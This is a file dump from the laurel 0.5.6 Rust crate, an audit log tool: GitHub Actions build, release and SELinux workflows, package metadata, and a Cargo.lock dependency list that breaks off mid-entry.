laurel-0.5.6/.cargo_vcs_info.json0000644000000001360000000000100123300ustar { "git": { "sha1": "e752647c83d8e78e4e95ee5c038724b61b404f90" }, "path_in_vcs": "" }laurel-0.5.6/.github/FUNDING.yml000064400000000000000000000000361046102023000142740ustar 00000000000000github: [hillu, disasmwinnie] laurel-0.5.6/.github/workflows/build.yml000064400000000000000000000140701046102023000163410ustar 00000000000000on: push: paths: - src/** - audit-specs/** - build.rs - Cargo.toml - Cargo.lock - .github/workflows/build.yml tags-ignore: - "v*" pull_request: paths: - src/** - audit-specs/** - build.rs - Cargo.toml - Cargo.lock - .github/workflows/build.yml jobs: check_fmt: runs-on: ubuntu-latest steps: - uses: actions/checkout@v2 - uses: actions-rs/toolchain@v1 with: toolchain: stable - name: check formatting run: cargo fmt --check build_n_test: runs-on: ubuntu-latest container: ubuntu:latest steps: - uses: actions/checkout@v2 - name: Install dependency run: | apt-get -qq update apt-get -qqy dist-upgrade apt-get -qqy install curl build-essential libclang-dev libacl1-dev selinux-policy-dev libgoogle-perftools-dev - uses: actions-rs/toolchain@v1 with: toolchain: stable - uses: actions/cache@v3 with: path: | ~/.cargo/bin/ ~/.cargo/registry/index/ ~/.cargo/registry/cache/ ~/.cargo/git/db/ target/ key: "${{ runner.os }}-cargo-${{ hashFiles('**/Cargo.lock') }}" - run: cargo build - run: cargo test - run: cargo bench --no-run - run: make -C contrib/selinux build_static_musl: runs-on: ubuntu-latest container: alpine:3.18 steps: - name: Prepare run: | apk add git ca-certificates rust cargo clang-dev acl-static musl-dev linux-headers make pandoc apk add binutils file jq - uses: actions/checkout@v2 - name: Build run: | RUSTFLAGS='-C target-feature=+crt-static -L /lib -l static=acl' \ cargo build --target x86_64-alpine-linux-musl make -C man - name: Show binary charcteristics run: | set -x file target/x86_64-alpine-linux-musl/debug/laurel ldd target/x86_64-alpine-linux-musl/debug/laurel objdump -x target/x86_64-alpine-linux-musl/debug/laurel | grep NEEDED || true set +x if [ -n "$(objdump -x target/x86_64-alpine-linux-musl/debug/laurel | grep NEEDED)" ]; then echo "laurel is linked against shared libraries" >&2 exit 1 fi build_dynamic_glibc: runs-on: ubuntu-latest container: debian:bookworm-slim steps: - name: Prepare run: | apt-get -qq update apt-get -qqy upgrade apt-get -qqy install ca-certificates rustc cargo clang libacl1-dev jq file - uses: actions/checkout@v2 - name: Build run: | cargo build - name: Show binary charcteristics run: | set -x file target/debug/laurel ldd target/debug/laurel objdump -x target/debug/laurel | grep NEEDED || true - name: Launch test run: | pid1=$$ pid2=$(($$ + 1000)) pid3=$(($$ + 2000)) now=$(date +%s) ./target/debug/laurel <&2 exit 1 fi echo "git_version=$version_git" >> $GITHUB_OUTPUT - name: Create release id: create_release uses: actions/create-release@v1 env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} with: tag_name: ${{ github.ref }} release_name: Release ${{ github.ref }} draft: true prerelease: false outputs: upload_url: ${{ steps.create_release.outputs.upload_url }} git_version: ${{ steps.get_version.outputs.git_version }} build-musl: needs: prep runs-on: ubuntu-latest container: alpine:3.18 steps: - name: Prepare run: | apk add git ca-certificates rust cargo clang-dev acl-static musl-dev linux-headers make pandoc - uses: actions/checkout@v2 - name: Build run: | RUSTFLAGS='-C target-feature=+crt-static -L /lib -l static=acl' \ cargo build --target x86_64-alpine-linux-musl --release make -C man - name: Build tarball run: | ln -f target/x86_64-alpine-linux-musl/release/laurel target/x86_64-alpine-linux-musl/release/laurel2audit . tar -czf laurel.tar.gz laurel laurel2audit *.md man/ - name: Upload Release Asset uses: actions/upload-release-asset@v1 env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} with: upload_url: ${{ needs.prep.outputs.upload_url }} asset_path: laurel.tar.gz asset_name: laurel-${{ needs.prep.outputs.git_version }}-x86_64-musl.tar.gz asset_content_type: application/tar # Use tar to keep permissions - name: Upload a Build Artifact uses: actions/upload-artifact@v3.1.2 with: name: laurel path: laurel.tar.gz build-glibc: needs: prep runs-on: ubuntu-latest container: centos:7 steps: - name: Prepare run: | yum -q -y update yum -q -y install centos-release-scl yum -q -y install gcc llvm-toolset-7-clang file libacl-devel yum -q -y install https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm yum -q -y install make pandoc - name: Install Rust toolchain (stable) uses: actions-rs/toolchain@v1 with: profile: minimal toolchain: stable - uses: actions/checkout@v2 - name: Build run: | scl enable llvm-toolset-7 "cargo build --release" make -C man - name: Determine minimum GNU libc version run: | objdump -t target/release/laurel | sed -ne '/@GLIBC_/{s/^.*@GLIBC_//;p;}' | sort -uV min_glibc_version=$(objdump -t target/release/laurel \ | sed -ne '/@GLIBC_/{s/^.*@GLIBC_//;p;}' \ | sort -uV \ | tail -n1) echo Minimum GNU libc version: $min_glibc_version - name: Build tarball run: | ln -f target/release/laurel target/release/laurel2audit . tar -czf laurel.tar.gz laurel laurel2audit *.md man/ - name: Upload Release Asset uses: actions/upload-release-asset@v1 env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} with: upload_url: ${{ needs.prep.outputs.upload_url }} asset_path: laurel.tar.gz asset_name: laurel-${{ needs.prep.outputs.git_version }}-x86_64-glibc.tar.gz asset_content_type: application/tar build-container-image: needs: build-musl runs-on: ubuntu-latest permissions: contents: read packages: write # This is used to complete the identity challenge # with sigstore/fulcio when running outside of PRs. id-token: write steps: - name: Checkout repository uses: actions/checkout@v3 - name: Download a Build Artifact uses: actions/download-artifact@v2.1.1 with: name: laurel path: . # use tar to keep permissions - name: Unpack Build Artifact run: tar -xzf laurel.tar.gz - name: Edit configuration run: | sed -e 's#^input = .*#input = "unix:/var/run/audispd_events"#' etc/laurel/config.toml # Install the cosign tool except on PR # https://github.com/sigstore/cosign-installer - name: Install cosign if: github.event_name != 'pull_request' uses: sigstore/cosign-installer@v2 # Workaround: https://github.com/docker/build-push-action/issues/461 - name: Setup Docker buildx uses: docker/setup-buildx-action@79abd3f86f79a9d68a23c75a09a9a85889262adf # Login against a Docker registry except on PR # https://github.com/docker/login-action - name: Log into registry ${{ env.REGISTRY }} if: github.event_name != 'pull_request' uses: docker/login-action@28218f9b04b4f3f62068d7b6ce6ca5b26e35336c with: registry: ${{ env.REGISTRY }} username: ${{ github.actor }} password: ${{ secrets.GITHUB_TOKEN }} # Extract metadata (tags, labels) for Docker # https://github.com/docker/metadata-action - name: Extract Docker metadata id: meta uses: docker/metadata-action@98669ae865ea3cffbcbaa878cf57c20bbf1c6c38 with: images: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }} # Build and push Docker image with Buildx (don't push on PR) # https://github.com/docker/build-push-action - name: Build and push Docker image id: build-and-push uses: docker/build-push-action@ac9327eae2b366085ac7f6a2d02df8aa8ead720a with: context: . push: ${{ github.event_name != 'pull_request' }} tags: ${{ steps.meta.outputs.tags }} labels: ${{ steps.meta.outputs.labels }} cache-from: type=gha cache-to: type=gha,mode=max # Sign the resulting Docker image digest except on PRs. # This will only write to the public Rekor transparency log when the Docker # repository is public to avoid leaking data. If you would like to publish # transparency data even for private images, pass --force to cosign below. # https://github.com/sigstore/cosign - name: Sign the published Docker image if: ${{ github.event_name != 'pull_request' }} env: COSIGN_EXPERIMENTAL: "true" # This step uses the identity token to provision an ephemeral certificate # against the sigstore community Fulcio instance. run: echo "${{ steps.meta.outputs.tags }}" | xargs -I {} cosign sign {}@${{ steps.build-and-push.outputs.digest }} laurel-0.5.6/.github/workflows/selinux.yml000064400000000000000000000036731046102023000167400ustar 00000000000000on: push: paths: - contrib/selinux/* - .github/workflows/selinux.yml pull_request: paths: - contrib/selinux/* - .github/workflows/selinux.yml jobs: build-c7: runs-on: ubuntu-latest container: centos:7 steps: - name: Prepare run: | yum install -y selinux-policy-devel - uses: actions/checkout@v2 - name: Build run: | make -C contrib/selinux AUDITD_VERSIONS=2 - name: Archive policy uses: actions/upload-artifact@v3 with: name: selinux-el7 path: contrib/selinux/laurel.pp build-c8: runs-on: ubuntu-latest container: rockylinux:8 steps: - name: Prepare run: | yum install -y selinux-policy-devel findutils - uses: actions/checkout@v2 - name: Build run: | make -C contrib/selinux AUDITD_VERSIONS=3 - name: Archive policy uses: actions/upload-artifact@v3 with: name: selinux-el8 path: contrib/selinux/laurel.pp build-al2: runs-on: ubuntu-latest container: amazonlinux:2 steps: - name: Prepare run: | yum install -y selinux-policy-devel findutils tar - uses: actions/checkout@v2 - name: Build run: | make -C contrib/selinux AUDITD_VERSIONS=2 - name: Archive policy uses: actions/upload-artifact@v3 with: name: selinux-al2 path: contrib/selinux/laurel.pp build-al2023: runs-on: ubuntu-latest container: amazonlinux:2023 steps: - name: Prepare run: | yum install -y selinux-policy-devel findutils tar - uses: actions/checkout@v2 - name: Build run: | make -C contrib/selinux AUDITD_VERSIONS=3 - name: Archive policy uses: actions/upload-artifact@v3 with: name: selinux-al2023 path: contrib/selinux/laurel.pp laurel-0.5.6/.gitignore000064400000000000000000000000131046102023000131020ustar 00000000000000*~ /target laurel-0.5.6/Cargo.lock0000644000000574160000000000100103200ustar # This file is automatically @generated by Cargo. # It is not intended for manual editing. version = 3 [[package]] name = "addr2line" version = "0.21.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "8a30b2e23b9e17a9f90641c7ab1549cd9b44f296d3ccbf309d2863cfe398a0cb" dependencies = [ "gimli", ] [[package]] name = "adler" version = "1.0.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "f26201604c87b1e01bd3d98f8d5d9a8fcbb815e8cedb41ffccbeb4bf593a35fe" [[package]] name = "aho-corasick" version = "1.1.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b2969dcb958b36655471fc61f7e416fa76033bdd4bfed0678d8fee1e2d07a1f0" dependencies = [ "memchr", ] [[package]] name = "anyhow" version = "1.0.79" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "080e9890a082662b09c1ad45f567faeeb47f22b5fb23895fbe1e651e718e25ca" [[package]] name = "autocfg" version = "1.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa" [[package]] name = "backtrace" version = "0.3.69" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "2089b7e3f35b9dd2d0ed921ead4f6d318c27680d4a5bd167b3ee120edb105837" dependencies = [ "addr2line", "cc", "cfg-if", "libc", "miniz_oxide", "object", "rustc-demangle", ] [[package]] name = "bencher" version = "0.1.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "7dfdb4953a096c551ce9ace855a604d702e6e62d77fac690575ae347571717f5" [[package]] name = "bindgen" version = "0.69.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a4c69fae65a523209d34240b60abe0c42d33d1045d445c0839d8a4894a736e2d" dependencies = [ "bitflags 2.4.1", "cexpr", "clang-sys", "lazy_static", "lazycell", "log", "peeking_take_while", "prettyplease", "proc-macro2", "quote", "regex", "rustc-hash", "shlex", "syn", "which", ] [[package]] name = "bitflags" version = "1.3.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" [[package]] name = "bitflags" version = "2.4.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "327762f6e5a765692301e5bb513e0d9fef63be86bbc14528052b1cd3e6f03e07" [[package]] name = "caps" version = "0.5.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "190baaad529bcfbde9e1a19022c42781bdb6ff9de25721abdb8fd98c0807730b" dependencies = [ "libc", "thiserror", ] [[package]] name = "cc" version = "1.0.83" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "f1174fb0b6ec23863f8b971027804a42614e347eafb0a95bf0b12cdae21fc4d0" dependencies = [ "libc", ] [[package]] name = "cexpr" version = "0.6.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "6fac387a98bb7c37292057cffc56d62ecb629900026402633ae9160df93a8766" dependencies = [ "nom", ] [[package]] name = "cfg-if" version = "1.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" [[package]] name = "clang-sys" version = "1.7.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "67523a3b4be3ce1989d607a828d036249522dd9c1c8de7f4dd2dae43a37369d1" dependencies = [ "glob", "libc", "libloading", ] [[package]] name = "colored" version = "2.0.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "2674ec482fbc38012cf31e6c42ba0177b431a0cb6f15fe40efa5aab1bda516f6" dependencies = [ "is-terminal", "lazy_static", "windows-sys 0.48.0", ] [[package]] name = "either" version = "1.9.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a26ae43d7bcc3b814de94796a5e736d4029efb0ee900c12e2d54c993ad1a1e07" [[package]] name = "equivalent" version = "1.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "5443807d6dff69373d433ab9ef5378ad8df50ca6298caf15de6e52e24aaf54d5" [[package]] name = "errno" version = "0.3.8" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a258e46cdc063eb8519c00b9fc845fc47bcfca4130e2f08e88665ceda8474245" dependencies = [ "libc", "windows-sys 0.52.0", ] [[package]] name = "error-chain" version = "0.12.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "2d2f06b9cac1506ece98fe3231e3cc9c4410ec3d5b1f24ae1c8946f0742cdefc" dependencies = [ "backtrace", "version_check", ] [[package]] name = "exacl" version = "0.11.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "c695152c1c2777163ea93fff517edc6dd1f8fc226c14b0d60cdcde0beb316d9f" dependencies = [ "bitflags 2.4.1", "log", "scopeguard", "uuid", ] [[package]] name = "faster-hex" version = "0.9.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a2a2b11eda1d40935b26cf18f6833c526845ae8c41e58d09af6adeb6f0269183" dependencies = [ "serde", ] [[package]] name = "getopts" version = "0.2.21" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "14dbbfd5c71d70241ecf9e6f13737f7b5ce823821063188d7e46c41d371eebd5" dependencies = [ "unicode-width", ] [[package]] name = "gimli" version = "0.28.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "4271d37baee1b8c7e4b708028c57d816cf9d2434acb33a549475f78c181f6253" [[package]] name = "glob" version = "0.3.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d2fabcfbdc87f4758337ca535fb41a6d701b65693ce38287d856d1674551ec9b" [[package]] name = "gperftools" version = "0.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "20a3fc5818b1223ec628fc6998c8900486208b577f78c07500d4b52f983ebc9d" dependencies = [ "error-chain", "lazy_static", "pkg-config", ] [[package]] name = "hashbrown" version = "0.14.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "290f1a1d9242c78d09ce40a5e87e7554ee637af1351968159f4952f028f75604" [[package]] name = "hermit-abi" version = "0.3.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d77f7ec81a6d05a3abb01ab6eb7590f6083d08449fe5a1c8b1e620283546ccb7" [[package]] name = "home" version = "0.5.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "5444c27eef6923071f7ebcc33e3444508466a76f7a2b93da00ed6e19f30c1ddb" dependencies = [ "windows-sys 0.48.0", ] [[package]] name = "hostname" version = "0.3.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "3c731c3e10504cc8ed35cfe2f1db4c9274c3d35fa486e3b31df46f068ef3e867" dependencies = [ "libc", "match_cfg", "winapi", ] [[package]] name = "indexmap" version = "2.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d530e1a18b1cb4c484e6e34556a0d948706958449fca0cab753d649f2bce3d1f" dependencies = [ "equivalent", "hashbrown", "serde", ] [[package]] name = "is-terminal" version = "0.4.10" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "0bad00257d07be169d870ab665980b06cdb366d792ad690bf2e76876dc503455" dependencies = [ "hermit-abi", "rustix", "windows-sys 0.52.0", ] [[package]] name = "itoa" version = "1.0.10" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b1a46d1a171d865aa5f83f92695765caa047a9b4cbae2cbf37dbd613a793fd4c" [[package]] name = "laurel" version = "0.5.6" dependencies = [ "anyhow", "bencher", "bindgen", "caps", "exacl", "faster-hex", "getopts", "gperftools", "indexmap", "lazy_static", "libc", "log", "nix", "nom", "regex", "serde", "serde_json", "signal-hook", "simple_logger", "syslog", "thiserror", "tinyvec", "toml", ] [[package]] name = "lazy_static" version = "1.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646" [[package]] name = "lazycell" version = "1.3.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "830d08ce1d1d941e6b30645f1a0eb5643013d835ce3779a5fc208261dbe10f55" [[package]] name = "libc" version = "0.2.152" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "13e3bf6590cbc649f4d1a3eefc9d5d6eb746f5200ffb04e5e142700b8faa56e7" [[package]] name = "libloading" version = "0.8.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "c571b676ddfc9a8c12f1f3d3085a7b163966a8fd8098a90640953ce5f6170161" dependencies = [ "cfg-if", "windows-sys 0.48.0", ] [[package]] name = "linux-raw-sys" version = "0.4.12" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "c4cd1a83af159aa67994778be9070f0ae1bd732942279cabb14f86f986a21456" [[package]] name = "log" version = "0.4.20" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b5e6163cb8c49088c2c36f57875e58ccd8c87c7427f7fbd50ea6710b2f3f2e8f" [[package]] name = "match_cfg" version = "0.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ffbee8634e0d45d258acb448e7eaab3fce7a0a467395d4d9f228e3c1f01fb2e4" [[package]] name = "memchr" version = "2.7.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "523dc4f511e55ab87b694dc30d0f820d60906ef06413f93d4d7a1385599cc149" [[package]] name = "memoffset" version = "0.7.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "5de893c32cde5f383baa4c04c5d6dbdd735cfd4a794b0debdb2bb1b421da5ff4" dependencies = [ "autocfg", ] [[package]] name = "minimal-lexical" version = "0.2.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "68354c5c6bd36d73ff3feceb05efa59b6acb7626617f4962be322a825e61f79a" [[package]] name = "miniz_oxide" version = "0.7.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e7810e0be55b428ada41041c41f32c9f1a42817901b4ccf45fa3d4b6561e74c7" dependencies = [ "adler", ] [[package]] name = "nix" version = "0.26.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "598beaf3cc6fdd9a5dfb1630c2800c7acd31df7aaf0f565796fba2b53ca1af1b" dependencies = [ "bitflags 1.3.2", "cfg-if", "libc", "memoffset", "pin-utils", ] [[package]] name = "nom" version = "7.1.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d273983c5a657a70a3e8f2a01329822f3b8c8172b73826411a55751e404a0a4a" dependencies = [ "memchr", "minimal-lexical", ] [[package]] name = "num_threads" version = "0.1.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "2819ce041d2ee131036f4fc9d6ae7ae125a3a40e97ba64d04fe799ad9dabbb44" dependencies = [ "libc", ] [[package]] name = "object" version = "0.32.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a6a622008b6e321afc04970976f62ee297fdbaa6f95318ca343e3eebb9648441" dependencies = [ "memchr", ] [[package]] name = "once_cell" version = "1.19.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "3fdb12b2476b595f9358c5161aa467c2438859caa136dec86c26fdd2efe17b92" [[package]] name = "peeking_take_while" version = "0.1.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "19b17cddbe7ec3f8bc800887bab5e717348c95ea2ca0b1bf0837fb964dc67099" [[package]] name = "pin-utils" version = "0.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184" [[package]] name = "pkg-config" version = "0.3.28" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "69d3587f8a9e599cc7ec2c00e331f71c4e69a5f9a4b8a6efd5b07466b9736f9a" [[package]] name = "prettyplease" version = "0.2.16" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a41cf62165e97c7f814d2221421dbb9afcbcdb0a88068e5ea206e19951c2cbb5" dependencies = [ "proc-macro2", "syn", ] [[package]] name = "proc-macro2" version = "1.0.76" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "95fc56cda0b5c3325f5fbbd7ff9fda9e02bb00bb3dac51252d2f1bfa1cb8cc8c" dependencies = [ "unicode-ident", ] [[package]] name = "quote" version = "1.0.35" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "291ec9ab5efd934aaf503a6466c5d5251535d108ee747472c3977cc5acc868ef" dependencies = [ "proc-macro2", ] [[package]] name = "regex" version = "1.9.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ebee201405406dbf528b8b672104ae6d6d63e6d118cb10e4d51abbc7b58044ff" dependencies = [ "aho-corasick", "memchr", "regex-automata", "regex-syntax", ] [[package]] name = "regex-automata" version = "0.3.9" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "59b23e92ee4318893fa3fe3e6fb365258efbfe6ac6ab30f090cdcbb7aa37efa9" dependencies = [ "aho-corasick", "memchr", "regex-syntax", ] [[package]] name = "regex-syntax" version = "0.7.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "dbb5fb1acd8a1a18b3dd5be62d25485eb770e05afb408a9627d14d451bae12da" [[package]] name = "rustc-demangle" version = "0.1.23" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d626bb9dae77e28219937af045c257c28bfd3f69333c512553507f5f9798cb76" [[package]] name = "rustc-hash" version = "1.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "08d43f7aa6b08d49f382cde6a7982047c3426db949b1424bc4b7ec9ae12c6ce2" [[package]] name = "rustix" version = "0.38.30" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "322394588aaf33c24007e8bb3238ee3e4c5c09c084ab32bc73890b99ff326bca" dependencies = [ "bitflags 2.4.1", "errno", "libc", "linux-raw-sys", "windows-sys 0.52.0", ] [[package]] name = "ryu" version = "1.0.16" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "f98d2aa92eebf49b69786be48e4477826b256916e84a57ff2a4f21923b48eb4c" [[package]] name = "scopeguard" version = "1.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49" [[package]] name = "serde" version = "1.0.195" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "63261df402c67811e9ac6def069e4786148c4563f4b50fd4bf30aa370d626b02" dependencies = [ "serde_derive", ] [[package]] name = "serde_derive" version = "1.0.195" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "46fe8f8603d81ba86327b23a2e9cdf49e1255fb94a4c5f297f6ee0547178ea2c" dependencies = [ "proc-macro2", "quote", "syn", ] [[package]] name = "serde_json" version = "1.0.111" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "176e46fa42316f18edd598015a5166857fc835ec732f5215eac6b7bdbf0a84f4" dependencies = [ "indexmap", "itoa", "ryu", "serde", ] [[package]] name = "shlex" version = "1.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a7cee0529a6d40f580e7a5e6c495c8fbfe21b7b52795ed4bb5e62cdf92bc6380" [[package]] name = "signal-hook" version = "0.3.17" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "8621587d4798caf8eb44879d42e56b9a93ea5dcd315a6487c357130095b62801" dependencies = [ "libc", "signal-hook-registry", ] [[package]] name = "signal-hook-registry" version = "1.4.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d8229b473baa5980ac72ef434c4415e70c4b5e71b423043adb4ba059f89c99a1" dependencies = [ "libc", ] [[package]] name = "simple_logger" version = "4.3.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "8e7e46c8c90251d47d08b28b8a419ffb4aede0f87c2eea95e17d1d5bacbf3ef1" dependencies = [ "colored", "log", "time", "windows-sys 0.48.0", ] [[package]] name = "syn" version = "2.0.48" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "0f3531638e407dfc0814761abb7c00a5b54992b849452a0646b7f65c9f770f3f" dependencies = [ "proc-macro2", "quote", "unicode-ident", ] [[package]] name = "syslog" version = "6.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "7434e95bcccce1215d30f4bf84fe8c00e8de1b9be4fb736d747ca53d36e7f96f" dependencies = [ "error-chain", "hostname", "libc", "log", "time", ] [[package]] name = "thiserror" version = "1.0.56" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d54378c645627613241d077a3a79db965db602882668f9136ac42af9ecb730ad" dependencies = [ "thiserror-impl", ] [[package]] name = "thiserror-impl" version = "1.0.56" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "fa0faa943b50f3db30a20aa7e265dbc66076993efed8463e8de414e5d06d3471" dependencies = [ "proc-macro2", "quote", "syn", ] [[package]] name = "time" version = "0.3.20" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "cd0cbfecb4d19b5ea75bb31ad904eb5b9fa13f21079c3b92017ebdf4999a5890" dependencies = [ "itoa", "libc", "num_threads", "serde", "time-core", "time-macros", ] [[package]] name = "time-core" version = "0.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "2e153e1f1acaef8acc537e68b44906d2db6436e2b35ac2c6b42640fff91f00fd" [[package]] name = "time-macros" version = "0.2.8" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "fd80a657e71da814b8e5d60d3374fc6d35045062245d80224748ae522dd76f36" dependencies = [ "time-core", ] [[package]] name = "tinyvec" version = "1.6.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "87cc5ceb3875bb20c2890005a4e226a4651264a5c75edb2421b52861a0a0cb50" dependencies = [ "tinyvec_macros", ] [[package]] name = "tinyvec_macros" version = "0.1.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "1f3ccbac311fea05f86f61904b462b55fb3df8837a366dfc601a0161d0532f20" [[package]] name = "toml" version = "0.5.11" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "f4f7f0dd8d50a853a531c426359045b1998f04219d88799810762cd4ad314234" dependencies = [ "serde", ] [[package]] name = "unicode-ident" version = "1.0.12" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "3354b9ac3fae1ff6755cb6db53683adb661634f67557942dea4facebec0fee4b" [[package]] name = "unicode-width" version = "0.1.11" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e51733f11c9c4f72aa0c160008246859e340b00807569a0da0e7a1079b27ba85" [[package]] name = "uuid" version = "1.6.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "5e395fcf16a7a3d8127ec99782007af141946b4795001f876d54fb0d55978560" [[package]] name = "version_check" version = "0.9.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "49874b5167b65d7193b8aba1567f5c7d93d001cafc34600cee003eda787e483f" [[package]] name = "which" version = "4.4.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "87ba24419a2078cd2b0f2ede2691b6c66d8e47836da3b6db8265ebad47afbfc7" dependencies = [ "either", "home", "once_cell", "rustix", ] [[package]] name = "winapi" version = "0.3.9" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419" dependencies = [ "winapi-i686-pc-windows-gnu", "winapi-x86_64-pc-windows-gnu", ] [[package]] name = "winapi-i686-pc-windows-gnu" version = "0.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" [[package]] name = "winapi-x86_64-pc-windows-gnu" version = "0.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" [[package]] name = "windows-sys" version = "0.48.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9" dependencies = [ "windows-targets 0.48.5", ] [[package]] name = "windows-sys" version = "0.52.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d" dependencies = [ "windows-targets 0.52.0", ] [[package]] name = "windows-targets" version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "9a2fa6e2155d7247be68c096456083145c183cbbbc2764150dda45a87197940c" dependencies = [ "windows_aarch64_gnullvm 0.48.5", "windows_aarch64_msvc 0.48.5", "windows_i686_gnu 0.48.5", "windows_i686_msvc 0.48.5", "windows_x86_64_gnu 0.48.5", "windows_x86_64_gnullvm 0.48.5", "windows_x86_64_msvc 0.48.5", ] [[package]] name = "windows-targets" version = "0.52.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "8a18201040b24831fbb9e4eb208f8892e1f50a37feb53cc7ff887feb8f50e7cd" dependencies = [ "windows_aarch64_gnullvm 0.52.0", 